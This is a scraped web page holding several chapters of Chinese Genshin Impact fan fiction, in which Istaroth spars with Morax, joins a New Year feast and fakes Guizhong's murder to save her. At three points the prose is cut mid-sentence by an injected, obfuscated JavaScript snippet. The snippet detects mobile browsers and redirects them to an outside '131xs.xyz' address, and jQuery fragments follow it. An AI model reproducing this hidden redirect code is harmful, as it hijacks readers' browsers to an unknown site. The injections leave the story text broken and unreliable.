伊斯塔露受不了了。
说好的散步呢?
摩拉克斯一把年纪爱老人步行就算了,能不能不要带她一起啊?!
难道这是摩拉克斯发明的某种神秘酷刑吗?那有点太神秘了!
“为何会如此作想?”
摩拉克斯转过身,居高临下地看着伊斯塔露,一脸平静地带过她的疑问:
“说来你与归终和留云关系都不错,留云甚至是出了名的难以相处——可为何你独独像是在避着我?”
摩拉克斯说得没错。
毕竟归终开局对她笑,留云真君夸她合眼缘,只有摩拉克斯想用食岩之罚弄死她——
哪些人能处,伊斯塔露觉得自己还是分得清的。
当然,事实虽然是事实,但伊斯塔露是打死都不会承认的:
“哈哈,哪有的事儿啊,帝君……帝君龙章凤姿、英明神武,我敬畏不已,生怕言辞冲撞了帝君啊哈哈哈哈。”
伊斯塔露觉得自己已经把好话都说尽了,不料摩拉克斯装似无意般瞥了她一眼,慢条斯理道:
“帝君,武德呢?”
“伊露,这是敬畏不已么?”
伊斯塔露汗流浃背了。
摩拉克斯真小心眼啊。
那是她之前喝醉了以后,阴阳怪气摩拉克斯让她无缝打工时说的话。
“帝君我错了,”伊斯塔露当即认错,就差滑跪下来双手合十谢罪,“帝君我再也不敢了,帝君赎罪。”
摩拉克斯:“……”
伊斯塔露觉得摩拉克斯被她无语到了,但她没有证据。
见摩拉克斯久久没有回答,伊斯塔露又起了跑路的心思——她反将身一扭,试图往山下走去:
“那帝君,我先走咯?您自己慢慢在天衡山玩。”
笑死,她才不爬山,让摩拉克斯一个人老干部散步去吧。
“稍等。”
摩拉克斯却突然开口,在伊斯塔露回头之际,八根不知何时浮动在摩拉克斯身侧的岩枪直直钉向她!
摩拉克斯居高临下地看着伊斯塔露,眼中焕发出灿烂的华光,犹如荒星天坠,不可直视。
伊斯塔露瞪大了眼,下意识发动权能,斗篷一振,八根岩枪霎时停滞在空中。
离她仅有几寸之遥。
伊斯塔露惊魂未定地看向摩拉克斯,那位帝君大人仍风轻云淡地负手而立,仿佛出手的不是他一般。
伊斯塔露冷汗涔涔。
她听说摩拉克斯对付八虬也才拿了一根岩枪钉下云来海吧?现在八根岩枪戳她是几个意思?
这算什么?全归离集最尊重时之执政实力的魔神吗?
“帝君……”
伊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936203|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
斯塔露眯着眼扫过被静滞在半空的岩枪,身上的斗篷无风自动,八根“岩枪”便碎成了沙石。
“这是何意?”
摩拉克斯刚才根本没下死手,不过是随手试探,却让伊斯塔露情急之下初露端倪。
谁说这帝君光明磊落的?伊斯塔露觉得他实在是太阴了。
说得好好的却突然出手,不是老狐狸谁挡得住?
摩拉克斯印证了他的猜想,反倒是收起了咄咄逼人的气势,他掸了掸白袍,不急不缓地道:
“伊露,你身上疑点诸多,是归终先前一力保你,我才答应她再做观察。”
“此后你确实劳苦功高——破夜叉之主,逐奥罗巴斯,甚至马科修斯也和我说,希望你留下。”
“只是你的能力不在魔神之下,若是有异心,必然是归离集的一大隐患。”
“所以,若你对归离集任何人图谋不轨,我绝不会手软。”
原来摩拉克斯是仍旧对她不放心,所以代表归离集的统治者来警告她,伊斯塔露苦笑了一声,点头称是。
……反正她本来也没打算长留归离集的,是吧?
在和摩拉克斯出门的前一刻,她就已经想好了接下来的去向。
要走上那条路,她不可能不和归离集决裂的。
“但你对归离集的付出同样不可忽视,”摩拉克斯轻轻叹了口气,语气温和下来,“若你当真愿意与我等同道,那么归离集也是你永远的故乡。”
伊斯塔露愣了一下,有些心虚地垂下眉眼。
确实,如果她真能像摩拉克斯期望的那样,也很好。
但就是不可能。
“帝君,我当然愿意,否则也不会留在归离集至今。”
但伊斯塔露还是毫不犹豫地如此回答。
“帝君,那我现在能回去了吗?”
伊斯塔露不想再和摩拉克斯纠结她到底是否是内鬼的问题。
毕竟每每想起要做什么,自己的良心都会痛。
这次摩拉克斯没有阻止她,他的目光转向天色澄净的远方:
“移霄导天一事,我已知晓。他死前无悔无恨,此事无论如何责不在你,别太内疚。”
“我已见过了太多故人离去,或许以后还会有更多,所以作为生者,愿你此后安然无恙。”
“此世群魔诸神并起,我曾立誓护浮世一隅,如今亦是,无论是从什么手中。”
这是摩拉克斯能给她的最大的宽慰了。
伊斯塔露觉得摩拉克斯隐隐已经知道了些什么,但他还是毫不犹豫地给出了守护所有人的承诺。
或许这就是为何归离集的人都自愿称他一句“帝君”了。
伊斯塔露有些感慨地笑了笑:
“嗯嗯嗯,帝君圣明,帝君圣明,我相信帝君。”
摩拉克斯已经看透了伊斯塔露在他面前胡乱恭维的本质,他面无表情地看着她,悠悠评判了一句:
“敷衍。”
伊斯塔露不敢否认这个事实,但也不大好不否认,所幸摩拉克斯没和她计较:
“罢了。”
“今日恰逢一年的时日结束,归离集有‘过年’的传统,我每逢此日也会与归终、留云等人小聚,你若是无事,便一起来吧。”
“哇哦,归离集的传统吗……过年?”
伊斯塔露下意识看向归离集的方向。
此时恰逢金乌沉落,归离集的方向已经隐隐有了零零星星的灯光,与升起的炊烟一起氤氲出朦胧的暖意。
她在天衡山上,正巧能看见几盏霄灯飘飘悠悠升入夜空,明烛天南。
是过年了啊。
17. 人间一梦(十七)
伊斯塔露和摩拉克斯踩着夕阳的影子赶到奥藏山的时候,湖中树下的人早已等候多时。
一张小石桌旁摆着五张石凳,有三人已经落座——
归终笑着朝二人挥了挥宽大的衣袖,留云借风真君和歌尘浪市真君则相对而坐,似乎在品茗闲谈。
竟是早已一起为伊斯塔露准备了座位。
“伊露!一天到晚闷在屋子里不见人,回头闷成奥藏山脚下的蘑菇了,本仙都不想说你……”
“帝君也是,这样姗姗来迟,让我们好等,真是好大的架子。”
留云借风真君用眼角余光瞥了拾阶而上的两人,不大客气地道。
伊斯塔露悄悄瞥了眼摩拉克斯。
这位帝君大人既不觉得冒犯也不曾露出什么愧色,四平八稳岿然不动。
留云借风真君也不多计较,指了指那两个空着的石凳:
“都快些落座,开饭了。”
不愧是那个女人,她不高兴了连摩拉克斯也得挨训,伊斯塔露在心里给留云借风真君鼓掌。
她要是能有一天和真君一样硬气……
伊斯塔露心怀敬佩地坐在了留云借风真君身边。
随后她便得到了留云借风真君“孺子可教”的欣慰眼神。
“留云,何必每年都要等我?”
摩拉克斯叹了口气,不急不缓地落座,他生来锋利的目光扫过在座四人:
“每每年末小聚闲谈时,你们总是怪我心如磐石不解风情,我若是不来,你们反而自在……”
“摩拉克斯!”归终不满地拍了拍石桌,“年年你都这样说,难道年年都要我们求着你来吗?”
“正是,就像留云说的,”歌尘浪市真君执一双竹筷,促狭地微笑,“帝君好大的架子。”
这等熟人谴责摩拉克斯的场面,伊斯塔露自觉插不上话,默默扒饭。
所幸这次的菜肴不是上回绝云间那些花花草草——伊斯塔露实在吃不惯那些玩意。
最后还是留云借风真君一锤定音:
“帝君若是再这么难请的话,以后来了便随人类的传统,给小辈发红包吧。”
歌尘浪市真君抿了抿唇,笑道:
“我们几个便罢了,给伊露发吧。”
“啊?谁,我吗?”
伊斯塔露停下筷子,茫然地指了指自己。
“是啊,”归终笑着,“我们几个和摩拉克斯同辈嘛,也只有伊露感觉年轻些吧。”
伊斯塔露更茫然了。
如果没有失忆的话,她不是可能比摩拉克斯还老的老东西吗?
思索了一瞬后,伊斯塔露感叹自己真是在屋子里待久了,昏了头。
按照她在归离集的马甲,她确实算是比留云借风真君还小一辈的“年轻人”。
“咳咳,”摩拉克斯咳了一声,端起茶盏,“倒也并非不可,只是不论我平日用不上归离集的常用货币,如今各地货币尚未统一,不能通用也着实遗憾。”
“不若待到货币统一那日,我把往年的都补上,今年便愿你们岁岁平安了。”
换句话说,反正现在他发不出这红包。
所以原来摩拉克斯现在算是个穷鬼吗?
穷鬼帝君?那可太有生活了。
伊斯塔露忍不住多看了摩拉克斯两眼。
其余三人也是一脸一言难尽的表情,以归终为首,纷纷揶揄摩拉克斯。
摩拉克斯本人倒是依旧稳如泰山。
对此,伊斯塔露也只能得出结论:归离原的帝君不但文武双全,脸皮和心理素质也是一流的。
在座五人虽然性格迥异,但在归终的平衡下,气氛倒也有一种微妙的其乐融融。
几人叙旧的内容,伊斯塔露不大了解,归终也没再多提,她的目光一一扫过其余四人:
“话说啊,留云和帝君也没有取过行走人世的俗世名吧?”
“我叫归终,她是萍儿,伊露本就是这样的名字,就你们二人不合群。”
归终指了指歌尘浪市真君,又拉过伊斯塔露:
“伊露,萍儿,你们说是不是?”
歌尘浪市真君无奈地瞥了一眼归终,在留云借风真君威胁般的目光中,点头称是。
留云借风真君又把目光转向伊斯塔露:
“咳咳,本仙身为仙人,得了‘留云借风’的名号已经足矣,何必融入凡人?伊露,你说对吧?”
面对留云借风真君显眼的暗示,伊斯塔露难得起了些和她开玩笑的心思,笑着提议:
“这名字取不取嘛,还得看真君怎么想,但要是真君真要取名字,我倒是想到个好名字。”
归终见伊斯塔露都没应和,得意地冲着留云借风真君比了个剪刀手,随即转开目光,和伊斯塔露对上了眼。
归终顿时福至心灵,促狭地笑着问伊斯塔露:
“是什么呀?伊露,快说来听听。”
“闲云,”伊斯塔露抬手支着下巴,笑道,“真君,这名字如何?”
“为何是闲云?本仙封号分明是留云……”
留云借风真君沉思片刻后,恍然大悟,登时柳眉倒竖。
“大胆,竟敢说本仙是野鹤!伊露,本仙平日里是对你太和善了么!”
“噗。”
见留云借风真君自己把此中关节说出来,其余几人都忍不住笑出了声。
甚至连摩拉克斯也忍不住笑着劝她:
“罢了,罢了,留云,何必计较这些?”
连摩拉克斯都开口了,留云借风真君本也不是真的不悦,也只好冷哼着敲了敲伊斯塔露的脑袋。
“好啦,认真地说,魔神战争开始后,大家总是聚少离多。”
“我们难得每年能有一日聚在一起,无论如何,我很开心!”
归终笑了笑,对着高悬的明月与身侧的友人,举起斟满了玉液的琼觞。
“大家碰个杯,希望战争早日结束,希望我们年年都能有今时今日!”
四人同时举起酒杯,和归终手中的酒盏碰在一起,溅起的水珠倒映出每个人的脸庞,或温和,或彷徨。
“希望战争早日结束,人人得以归乡,我们也是。”
歌尘浪市真君温和地笑道。
“本仙追随帝君至今,只想看到伟业铸成的那天,至于那些人类,本仙才不关心。”
留云借风真君心口不一。
“唉,”摩拉克斯叹了口气,竟然也没有再以茶代酒,“我虽不喜饮酒,今日也不好扫了你们的兴致,那便以此杯佳酿,愿尘世苍生再无苦楚。”
“诸位,年年有今日,岁岁有今朝。”
伊斯塔露将酒水一饮而尽,视线转向天边的霄灯。
远方的归离集已是华灯初上,无数明霄灯飘飘悠悠地浮上夜空,将天色映得犹如白昼,恰似人间颠倒。
这是伊斯塔露在归离集过的第一个新年,也是她此后千年在璃月过的唯一一个海灯节。
.
等宴席散去时,夜色已经深了。
归终等人自然是回了自己在绝云间的府邸,伊斯塔露却坚决拒绝了留在奥藏山。
开玩笑,她也知道自己喝得昏昏沉沉的,万一没管住嘴,把自己老底抖搂出来就糟了。
伊斯塔露踏着有些蹒跚的步伐,自山间小径走向归离集,却意外在路上看见了一位熟人。
伶仃的一抹身影站在高崖上,如明月清朗。
“嗨嗨,魈,过年快乐!”
伊斯塔露喊了那人一声。
“嗯?伊露大人。”
魈从高崖上闪身来到伊斯塔露面前,向她微微颔首:
“我虽对过凡人的节日无意,但是同样祝您新年喜乐。”
“你一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936204|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人在这里?”伊斯塔露四下张望了一下,“不和你的那几位夜叉朋友一起吗?”
她记得魈和曾经帮助自己逃离沙克斯幻境的几名夜叉关系都不错。
“浮舍和应达一向喜欢热闹,我于席间会令他们拘束……便先离席了。”
魈如此解释道。
“所以,离到归离集外的山上了?”
伊斯塔露笑着调侃了他一句。
魈难得哽了一下,他不自觉看向远方连绵的群山:
“……此处风景尚可。”
伊斯塔露顺着他的视线望去:
“那个方向是……天衡山?”
提起“天衡山”,夜风似乎也凛冽了些,吹散了伊斯塔露的醉意,她垂下眼帘,叹息道:
“是天衡山啊,不知道有没有亡者的世界,移霄导天真君能不能过个好年。”
魈没有回答,敛起了眉眼。
伊斯塔露也猜对了,他并非多不合群才来到山间,而是在众人团圆时想起了移霄导天真君。
想起了这位再也无法与故友团圆的仙人。
伊斯塔露叹了口气,拍了拍他的肩,在魈诧异的目光中伸手指向山巅。
“归终说,人类放霄灯,不仅寄寓了对未来的期许,也是对故去英魂的怀念。”
“我们去那里放霄灯如何?为移霄导天真君放一盏吧。”
“唔,”魈有些狐疑地挑起眉,“伊露大人,这不过是人类自我安慰的……”
“那就当是我们的自我安慰了,放盏灯怀念一下移霄导天真君吧,帝君也说过真君他没有一刻后悔过。”
伊斯塔露奇迹般拿出一只霄灯:
“归终送我的,走吧,一起去放灯吧。”
面对伊斯塔露的邀请,魈蹙眉和她对视了片刻,终于妥协般叹了口气:
“您若是想去,我随您去便是。”
伊斯塔露没有告诉魈另一个原因。
毕竟现在不放灯的话,她以后也不一定有机会,像这样光明正大地纪念移霄导天真君了吧。
伊斯塔露和魈一起登上了归离原附近的最高峰。
片刻后,那只霄灯在二人的托举下缓缓飘上夜空,融入远方的灯海中。
魈沉默地看着霄灯飘远,眼神似有一瞬间的恍惚。
伊斯塔露和魈并肩望着漫天灯海,她叹息一声,代替亡故的所有先人许下了愿望:
“愿此后人间,再无烽烟,盛世永昌。”
.
夜深人静之时,提瓦特大陆正中央的夜空中裂开一道不见底的漆黑缝隙,无数绯红的眼睛自其中缓缓睁开。
「死之执政」凝视着提瓦特的大陆,而她本人却在和「生之执政」对话。
纳贝里士的语气听上去带着点兴味:
“喂,若娜瓦,伊斯塔露没死,我感受到她的权能了!”
“哎呀,看上去这家伙又想搞事了,记得看着点自己的权能,别让她越界太严重。”
“哦,知道了。”
若娜瓦冷静而平稳地陈述了事实,语调带着一股淡淡的死气。
“最需要注意的是你,上次被她干扰的就是你的权能管辖范围。”
“这是我的问题吗?”纳贝里士的声音听上去很是无奈,“伊斯塔露不就喜欢摆着最咸鱼的态度搞最大的事吗?”
“她要作死谁拦得住啊?「法涅斯」都拦不住她!”
“她上次搞事是从「法涅斯」手里保了个仙灵,结果自己被追着劈了几万年。”
“上上次才是把我的造物厄歌莉娅骗去坐牢,还顺便镇压了水龙王。”
“总而言之,记得看着点,别让她把自己作死了。”
“知道了,”注视着大地的诡异红眼缓缓闭上,“何必太过担心她。”
“少管闲事吧,伊斯塔露从不做没有把握的事情。”
18. 人间一梦(十八)
那场年末聚会过后,众仙人各有规划、赶往前线,而摩拉克斯本人则决定先和让仙人们漩涡之魔神周旋。
他本人则去征讨海之魔神。
——毕竟伊斯塔露镇压弗加洛的封印是有时效的。
同样,摩拉克斯出征也带走了大部分有战力的仙人,如今留守归离集的只剩下归终、马科修斯和一众不以武力著称的仙人。
甚至连魈和留云借风真君都去征讨弗加洛的前线了,但伊斯塔露却被摩拉克斯派去保护归终。
大概担心有人趁虚而入,摩拉克斯才留下了麾下仙人中的战力巅峰。
而伊斯塔露要的时机,就是此刻。
.
摩拉克斯出征三天后,归离集最大的粮仓在凌晨时分起火。
粮仓附近的人都匆匆赶去救火,可无论多少水泼入火中,都只能使大火略呈熄灭之势,片刻之后,火焰又旺了起来。
有趣的是,火势虽然骇人,却没有扩散的态势,也不烧到人类身上。
只是大火无法扑灭,此事还是惊动了留守的仙人和魔神。
伊斯塔露就是在这样的后半夜被马科修斯的分身喊醒的。
橙色的布偶熊拉着她的斗篷,把她往着火仓库的方向带。
“马科修斯大人,我知道了,”伊斯塔露边走边试图夺回自己的斗篷,“您别拽我,我现在就赶过去。”
布偶熊松开手,又哼哼唧唧地从身后推伊斯塔露的小腿,俨然一个赶他去干活的监工。
……马科修斯不会发现了什么吧?
伊斯塔露有些忐忑地看向自己在归离集的居所。
她已经把那本写满秘辛的笔记带在身上了,应该不会留下什么了。
即使是在马科修斯的催促下,伊斯塔露也几乎是最后一个到达粮仓前的仙人。
她看见火光直冲云霄,人类和仙人并肩站在烧着的粮仓前,各自带着。
这诡异的大火让众人都束手无策,心猿大将弥怒看见伊斯塔露,快步迎上前。
“伊露,这火不仅扑不灭,还越烧越旺,你有什么解决办法吗?”
大概是因为当时是伊斯塔露破开了沙克斯的幻境,魈和这几位夜叉都对她有种莫名其妙的信任。
“是魔神残渣吧。”
伊斯塔露抬眼直视熊熊燃烧的大火,语惊四座。
闻言,弥怒拧起眉,陷入沉思:
“呃,虽说不无可能,但是为何归离集会有魔神残渣……”
“连我们也无法扑灭的大火,如有灵智刻意找上归离集的粮仓……如此种种,也只有魔神死后的怨念才能做到吧?”
伊斯塔露说得头头是道。
弥怒却摇了摇头。
“可我身为夜叉,清理这些残渣理当轻而易举,如今为何连我也无法扑灭这大火?”
“这就不知道了。”
伊斯塔露佯装无奈地叹了口气,顺手逮住了站在身边的熊布偶:
“马科修斯大人,您有办法么?”
熊布偶连连摇头,表示自己也无能为力。
周围的人类见此,大惊失色,大多数仙人更是骇然。
连炉灶之魔神马科修斯都无法扑灭的大火,到底需要谁才能解决?
又是谁制造了如此大火?是想趁虚而入覆灭归离集么?
没有帝君坐镇的归离集一时人心惶惶。
伊斯塔露平静地看着冲天的火光。
只有她知道,没有什么魔神残渣作祟,也没有人想入侵归离集。
放这把火的人就是她。
以时间的权能无限重置燃烧的火苗,伪装成魔神残渣作祟,她要的正是——
遮天蔽日的浮尘不知何时笼罩了整个归离集,在纷纷扬扬如白雪的扬尘中,原本猖狂的火舌渐渐显出颓势。
最后,大火因如雪的尘埃熄灭。
这是「尘之魔神」哈艮图斯的权能。
——在归终动用权能的瞬间,伊斯塔露撤去了她对火焰的控制。
归终那么聪明,能猜到接下来该如何的。
正如伊斯塔露所料,归终的声音在归离集上空响起,是能让所有人都听到的传音。
“诸位,我是哈艮图斯。”
“正如伊露所说,是魔神残渣作祟,我虽然暂时将其压制,但如今帝君征战在外,有劳各位守护归离集啦。”
“千岩军和诸位仙人由弥怒调遣,分别镇守归离集的四个入口吧,今夜辛苦你们。”
归终的语气像往常那样明快轻盈,似乎对处理目前的状况游刃有余。
她也如伊斯塔露所愿,支开了所有人。
伊斯塔露戴上了斗篷的兜帽,混在逐渐散去的人群中,走向归终的居所。
归终的居所在归离集中央,但因为大部分人都被支去了聚落边缘,居所附近的行人反而寥寥无几。
何况归终的居所已经被无数高速旋转的扬尘包裹成了茧,寻常人根本无法靠近。
伊斯塔露振了振斗篷,那暴烈的扬尘便在顷刻间静止,在她抬手时,更是自发分开了一条道路,任由她走入其中。
茧内早已不是屋舍的模样,所见只有一望无际的素白,唯一一抹色彩是坐在远处石桌边的归终。
白衣的明丽神女垂着眉眼,手指翻飞,似乎在打磨着什么机巧。
听到伊斯塔露的脚步声,归终毫不意外地抬起头,露出一个明快的微笑:
“伊露,你来啦。”
归终顿了一下,继续笑道:
“还是说,我应该叫你……伊斯塔露?”
“都可以,你随意就好,哈艮图斯。”
伊斯塔露也并不意外归终猜到了自己的身份,她摘下了斗篷的兜帽,拢起银白的长发。
伊斯塔露随手在虚空中做出拔剑的动作,剑锋铮鸣声响起,通体银白、星辰流转的长剑被她握在手中。
归终没有停止对手中机巧的打磨,她只是抽空看了伊斯塔露一眼,无奈地耸了耸肩:
“特地挑归离集内部空虚、摩拉克斯不在的时候,逼着我支开所有人,伊斯塔露你……”
“是要杀了我吧?”
冰雪聪明,料事如神,不愧是纵然力量微弱,却能和武神摩拉克斯结盟的魔神。
伊斯塔露蹙着眉,缓缓将剑锋指向归终。
“如果我说是呢?”
“那我能怎么办呢?”归终嗔怪般笑了,“我可不是摩拉克斯啊,怎么可能在你手下活下来?”
“归终,看上去你并不惊讶,”伊斯塔露叹息一声,收剑回鞘,“看来我藏得不太好?”
当时在奥藏山和归终等人碰杯的时候,有那么一瞬,她还真得觉得所有人都信任她了。
现在良心还隐隐作痛。
……结果归终早就知道了么?
“有一点啦,毕竟有时候你的眼神会躲闪嘛。”
归终停下了手中的活,从桌边站起身,径直走向伊斯塔露。
“我一直都清楚你的身份不简单哦,有提防你的。但是你在那天晚上毫不犹豫地保护了人们,我想,你应该还是很善良的吧?”
“就算你现在要杀我,也只能是我测算不周,怪不了任何人吧?”
在归终的步步靠近下,伊斯塔露别开了眼,她仿佛要被这灿烂的笑容灼伤。
“反倒是摩拉克斯,比我想得要信任你,这次居然让你留下来镇守归离集,给了你机会呢。”
归终无奈地耸了耸肩。
“或许是他觉得论迹不论心吧。”
“伊斯塔露,你也知道杀死我会是什么结果的。”
归终敛起了笑容,和伊斯塔露对视。
伊斯塔露听着归终一字一句阐述了她将要面对的未来:
“从此以后,你和摩拉克斯、留云还有那位护法夜叉,一定会是水火不容的关系。”
“……归终,我知道的。”
伊斯塔露点了点头,手中的长剑化作光粒子飘散。
在归终还未反应归来之时,伊斯塔露便消失在她面前,随后,锋利的箭镞抵在她的后背上。
伊斯塔露站在归终身后,用她刚做好的强弩指着归终的心脏。
“唉呀,事已至此,我也没有办法了,但既然目标是我,就不要伤及无辜的人们,好吗?”
“伊斯塔露……伊露,至少死前帮我带个话吧。”
归终闭上眼,投降般举起宽大的衣袖,伊斯塔露却看见她的身形在微微颤抖。
面对死亡,归终也是会害怕的,即使她死的前一刻还在考虑归离集的其他人。
“告诉留云,她做的机巧也非常非常
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936205|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
棒,当然,比起我还是差了那么一点的,这可是摩拉克斯说的!”
“摩拉克斯……摩拉克斯会让我们期望的城市落成的吧?结合我的智慧、我的技术与他的武力,创造出的了不起的城市。”
“还有,还有,我还想听萍儿弹琴……”
“……你自己和他们说去吧,”
伊斯塔露忍无可忍,摁着太阳穴,打断了归终。
“我要是真要杀死你,可就不听你说这么多了。”
归终却不为所动,脸上并没有逃过一劫的庆幸。
“为什么不呢?「时之执政」伊斯塔露,如果不杀死我的话,你该如何向「天理」交代?”
归终重新睁开双眼,侧头看着伊斯塔露。
伊斯塔露只觉后背一凉。
“……那本笔记,归终,你看到了?”
伊斯塔露犹疑不定地开口。
“你藏匿东西的本事可不怎么样呢——我早就看过了,不过放心,只有我知道,摩拉克斯不知道的。”
归终转过身,重新和伊斯塔露对视,她歪了歪头,苦笑道:
“看到了这些秘辛,上面那位「天理」,无论如何也不会让我活下去的,不是吗?”
“所以不如做个顺水人情,让伊斯塔露你动手啦,或许还能对你有用呢?”
“所以啊,伊斯塔露,”悲伤缓缓从归终温柔的目光中溢了出来,“我看不到那憧憬的城市落成了。”
“你以后代我去看看摩拉克斯治下的国度,好吗?”
归终拉住了伊斯塔露的手,将箭镞对准了自己的心口。
伊斯塔露咬着牙,抽出了自己的双手,把手中的强弩随手丢在地上。
她胡乱擦了一把脸上的泪痕:
“归终,你会看到你愿望实现的那天的,相信我。”
“我不会听从「天理」,不会杀你,你要一直好好地活着。”
“其实就算没看到那些秘辛,这些我也没办法活下去的啦,毕竟最后这片土地只能剩下一位神明嘛。”
“「尘之魔神」哈艮图斯终究是要消失在历史上的,我没有很难过的哦。”
归终用衣袖擦了擦伊斯塔露的脸,笑着叹了口气。
话音未落,灿烂的金蓝色法阵自归终脚下缓缓升起,古老的时钟纹样被刻画在法阵上,零碎的星辰点缀在她脚边。
归终的白衣无风自动,她讶然地看着这法阵。
“没事,「天理」现在半睡不睡,已经快自顾不暇了,不一定会管太清楚。”
“归终,我会把你送到千年以后的未来。”
伊斯塔露平静地自己早已画好的法阵生效:
“杀死你的罪名由我承担,尘之魔神会消失在历史上,归终不会。”
“我想要违逆高天的王座,就是希望你们能好好活着,所以我不会杀死你的。”
法阵的光芒在瞬间绽放至璀璨,归终听见伊斯塔露在法阵外问她想要被送到未来的什么时间。
“那就选一个……苍生最需要我的时候吧。”
归终笑着,在法阵送走自己的前一刻抱住了伊斯塔露,温柔地擦去了她脸上的泪痕。
“那,伊斯塔露,我们未来再见。”
“在我心里,你一直是很善良很温柔的人呢。”
“对不起呀,要让你一个人承受其他仙人和摩拉克斯的误解和怨恨。”
归终的身影随着法阵一同消失,只剩下尚且恍惚的伊斯塔露站在原地。
伊斯塔露回过神后,按照归终的模样塑成了一座石雕,将其立在归终原本坐着的位置。
随后,她捡起了地上的强弩,朝着正上方的天空射出一箭。
消息即刻便在归离集传开:
“哈艮图斯大人遇刺——”
伊斯塔露看着眼前扬尘的茧缓缓消失,重新戴上了兜帽,隐没在了人群中。
不久,她看见了因归终死讯赶回归离集的摩拉克斯。
往日虽有威仪但稳重冷静的岩之魔神,如今只剩怒意滔天,那犹如荒星天坠的灿烂金眸令人不敢直视。
暂时主事的弥怒在摩拉克斯的怒意下战战兢兢。
“哈艮图斯秉性温和,从未与人结怨,如今却惨遭毒手,不能善终。”
“我定会将行刺者碎尸万段。”
19. 人间一梦(十九)
对摩拉克斯的雷霆之怒,伊斯塔露只是无奈地叹了口气。
解释也没办法解释的,还是在摩拉克斯发现她“杀死”了归终之前,趁乱快跑吧。
摩拉克斯似是又想起了什么,问弥怒:
“伊露呢?她在何处?”
毕竟摩拉克斯出征前还特地叮嘱过伊斯塔露,要注意着点归终的安危。
现在归终出事,自然也是先拿她是问了。
摩拉克斯接下来的话倒是大大出乎伊斯塔露的预料,岩之魔神的神色凝重起来,眼中的岩晶璨然生辉,锋芒凛冽:
“莫非她也遇害了么?”
“心猿大将,差人去找找她,她实力不凡,比起……归终,或许更有活下来的契机。”
明明伊斯塔露就是最有可能的凶手,摩拉克斯不仅没有第一时间怀疑她,还挂念她的安危。
伊斯塔露感觉鼻子有点酸。
……要是归终没有“死”,大概一直留在归离集也不错吧。
弥怒领了命,以最快的速度调遣人手赶往伊斯塔露的居所。
混在人群中的伊斯塔露本人则是抬手在脸上抹了一把。
她原本极漂亮的眉眼逐渐变得平庸,标志性的金蓝色眼眸也变做普通的琥珀色。
这样摩拉克斯应该一时发现不了她了,等她听完对“伊露”的判决就走。
万一,万一摩拉克斯手下留情,她虽然不奢望留在归离集,但至少能有些慰藉。
哪怕她和归终说自己能接受水火不容的后果。
毕竟她自从失忆后到现在,记忆便是由归离集的人们构成的。
然而很多时候,天不遂人愿。
探查的千岩军很快报来伊斯塔露失踪的消息,同时也有民众说曾见过“伊露”奔向归终的居所。
悄无声息死去的尘之魔神,唯一实力比肩魔神却消失的仙人,答案尽在不言之中。
摩拉克斯听完千岩军的回报,面不改色,只是再三确认:
“是寻不到人,还是有遇害痕迹却寻不到遗骨?”
“……禀告帝君,证据确凿,是无故消失。”
弥怒亦是悲痛而茫然的模样——他分明记得是名为“伊露”的仙人和帝君里应外合,从沙克斯手里救下了所有夜叉。
为何她要杀死同样心怀苍生的神女归终?
摩拉克斯没说什么,他闭上眼,转过身,负手走向归终的石雕:
“伊露刺杀「尘之魔神」哈艮图斯,随后逃逸不知所踪,此行残忍狠辣,亦有违我与她的契约。”
“差护法夜叉其即刻追寻伊露的踪迹,将人缚回归离集,领受食岩之罚。如若她宁死不从,亦可……
“就地处决。”
摩拉克斯的话听上去没有分毫犹豫,刚正生硬,如磐石般无情又亘古不变。
伊斯塔露终于听到了摩拉克斯代表归离集对自己的判决。
摩拉克斯甚至是派魈来追捕她。
这是她第一次清晰地认识到了归终死亡的“事实”——所有人都会憎恶她,认为她害死了归终,是她狼心狗肺、死有余辜。
哪怕其实是她救下了归终。
生命与契约之重,不容任何情义与私心。
伊斯塔露苦笑了一声,戴上了兜帽,帽檐的阴影挡住了幻化出的平庸脸庞。
伊斯塔露收起了莫名的期待之心,转身决定离开归离集。
摩拉克斯却偏偏视线微转,注意到了伊斯塔露的动静,他几乎是目不斜视地向她走来。
“转身,摘下斗篷。”
摩拉克斯在伊斯塔露身后如此命令道。
……摩拉克斯不至于这就看出来了吧?
伊斯塔露蹙了蹙眉,不紧不慢地回过头,摘下兜帽,做出一副诚惶诚恐、敬畏不已的模样:
“见过帝君。”
摩拉克斯居高临下地看着刹那间,
可伊斯塔露依然是那副不明所以的敬畏模样,并不被魔神的威压所影响。
片刻后,摩拉克斯终于敛起气势,长叹一声,放她离开。
伊斯塔露暗暗舒了口气,又听摩拉克斯在身后吩咐弥怒:
